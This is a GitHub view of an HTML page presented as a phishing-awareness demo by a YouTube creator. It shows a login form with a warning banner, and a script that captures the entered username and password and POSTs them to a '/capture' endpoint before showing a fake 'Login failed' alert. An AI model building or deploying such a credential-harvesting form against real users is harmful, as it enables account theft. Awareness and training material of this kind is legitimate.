-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
158 lines (130 loc) · 4.79 KB
/
index.html
File metadata and controls
158 lines (130 loc) · 4.79 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="shortcut icon" href="https://yt3.googleusercontent.com/lBO76cnFZAtUWyCvYcW1yzLR9BgvPqXvzTsRUhQRvDVlxjWHJUTmyo0W4h34zRTRzVtFM3LP=s160-c-k-c0x00ffffff-no-rj" type="image/x-icon">
<meta name="description" content="Phishing Awareness! This page is a demo to show how phishing works. Be careful! Never enter your credentials on unknown websites. Stay safe online! Created by Muhammad Saqlain Shoukat (Dark Wolf). Learn more on my YouTube Channel: @CodingChatRoom.">
<meta name="keywords" content="Phishing, Awareness, Dark Wolf, Cybersecurity">
<meta name="author" content="Muhammad Saqlain Shoukat">
<title>Phishing Awareness - Dark Wolf</title>
<style>
body {
font-family: Arial, sans-serif;
background: linear-gradient(to right, #7018b8, #09e06e, rgb(9, 231, 216), rgb(222, 8, 207));
color: white;
text-align: center;
padding: 20px;
background-size: 300% 300%;
animation: colorChange 5s ease-in-out infinite;
}
@keyframes colorChange {
0% {
background-position: 0% 50%;
}
50% {
background-position: 100% 50%;
}
100% {
background-position: 0% 50%;
}
}
.container {
max-width: 500px;
background: linear-gradient(to right, #d5093c, #3b09e0, rgb(231, 146, 9), rgb(222, 8, 207));
background-size: 300% 300%;
padding: 20px;
border-radius: 10px;
box-shadow: 0 0 10px rgba(255, 255, 255, 0.2);
margin: auto;
animation: colorChange2 5s ease-in-out infinite;
}
@keyframes colorChange2 {
0% {
background-position: 0% 50%;
}
50% {
background-position: 100% 50%;
}
100% {
background-position: 0% 50%;
}
}
h1 {
font-size: 24px;
}
.warning {
background: yellow;
color: black;
padding: 10px;
font-weight: bold;
border-radius: 5px;
}
input {
width: 90%;
padding: 10px;
margin: 10px 0;
border: none;
border-radius: 5px;
}
button {
background: #ff4b2b;
color: white;
padding: 10px 20px;
border: none;
border-radius: 5px;
cursor: pointer;
transition: 0.3s;
}
button:hover {
background: #ff1e00;
}
a {
text-decoration: none;
color: rgb(10, 219, 177);
}
.logo-container img {
width: 100px;
height: auto;
border-radius: 50%;
box-shadow: 0 0 10px rgba(255, 255, 255, 0.5);
}
strong {
color: rgb(28, 235, 18);
}
</style>
</head>
<body>
<div class="container">
<div class="logo-container">
<img src="https://yt3.googleusercontent.com/lBO76cnFZAtUWyCvYcW1yzLR9BgvPqXvzTsRUhQRvDVlxjWHJUTmyo0W4h34zRTRzVtFM3LP=s160-c-k-c0x00ffffff-no-rj"
alt="logo">
</div>
<h1><strong>⚠</strong> Phishing Awareness <strong>⚠</strong></h1>
<p class="warning">Be careful! Never enter your credentials on unknown websites.</p>
<p>This is a demo page to show how phishing works. Stay safe online!</p>
<form>
<input type="text" placeholder="Username" required>
<input type="password" placeholder="Password" required>
<button type="submit">Login</button>
</form>
<p>Learn more on my YouTube Channel: <strong><a href="https://www.youtube.com/@CodingChatRoom"
target="_blank">@CodingChatRoom</a></strong></p>
<p>Created by <strong>Muhammad Saqlain Shoukat (Dark Wolf)</strong></p>
</div>
<script>
document.querySelector("form").addEventListener("submit", function (event) {
event.preventDefault();
let username = document.querySelector("input[type='text']").value;
let password = document.querySelector("input[type='password']").value;
fetch("/capture", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ username: username, password: password })
}).then(response => response.text()).then(data => {
alert("Login failed! (Demo)");
});
});
</script>
</body>
</html>